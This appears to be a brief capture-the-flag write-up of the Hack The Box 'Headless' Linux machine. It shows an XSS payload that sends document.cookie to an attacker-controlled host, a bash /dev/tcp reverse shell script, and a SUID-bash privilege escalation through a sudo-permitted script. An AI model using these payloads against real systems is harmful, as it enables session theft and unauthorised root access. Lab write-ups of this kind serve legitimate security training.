Skip to main content
Logo
Overview
HTB - Headless

HTB - Headless

February 2, 2024
2 min read

Box Info

NameHeadless
Release Date23 Mar, 2024
OSLinux
Rated DifficultyEasy

Enumeration

Terminal window
nmap -A -Pn 10.10.11.8 -oG allPorts

Image

Image

Scan Directory

We dont found anything interesting…

Image

BurpSuite

Now go to /support

Image

And we try to intercept this with Burpsuite

Image

If I try some HTML injection returns the HTTP request content.

Image

The HTTP response headers show it’s a Werkzeug / Python server

Exploitation

Blind XSS on User-Agent

Try to figerout a large time i found the XSS over header put in a header-false: a<script>alert(1)</script>

<img src=x onerror=fetch('http://<IP>:<PORT>/'+document.cookie);>

Image

Python Server

python -m http.server 8020

Image

Image

After Exploit XSS at User-Agent, we get a reply back with the admin cookie at the python server

Image

Image

Image

Reverse Shell

Image

#!/bin/bash
/bin/bash -c 'exec bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
#Create Reverse Shell script into a file, In my case I create .sh

Image

Image

Image

Image

User Flag

Privilege Escalation

Check sudo -l

Image

Syscheck

cat /usr/bin/syscheck:

Image

Exploit initdb.sh

echo "chmod u+s /bin/bash" > initdb.sh chmod +x initdb.sh

  • chmod u+s /bin/bash: Sets the set-user-ID (SUID) permission on /bin/bash, allowing users to execute the bash shell with the file owner’s (typically root) privileges.
  • chmod +x initdb.sh: This command changes the permissions of the file initdb.sh, making it executable (+x) by the file’s owner, group, and others. This allows the script to be run as a program by the user.

Image

sudo /usr/bin/syscheck
/bin/bash -p

/bin/bash -p: starts a bash shell with root privileges retained, due to the SUID bit making the shell run with the file owner’s (root’s) effective ID.

Image

Root Flag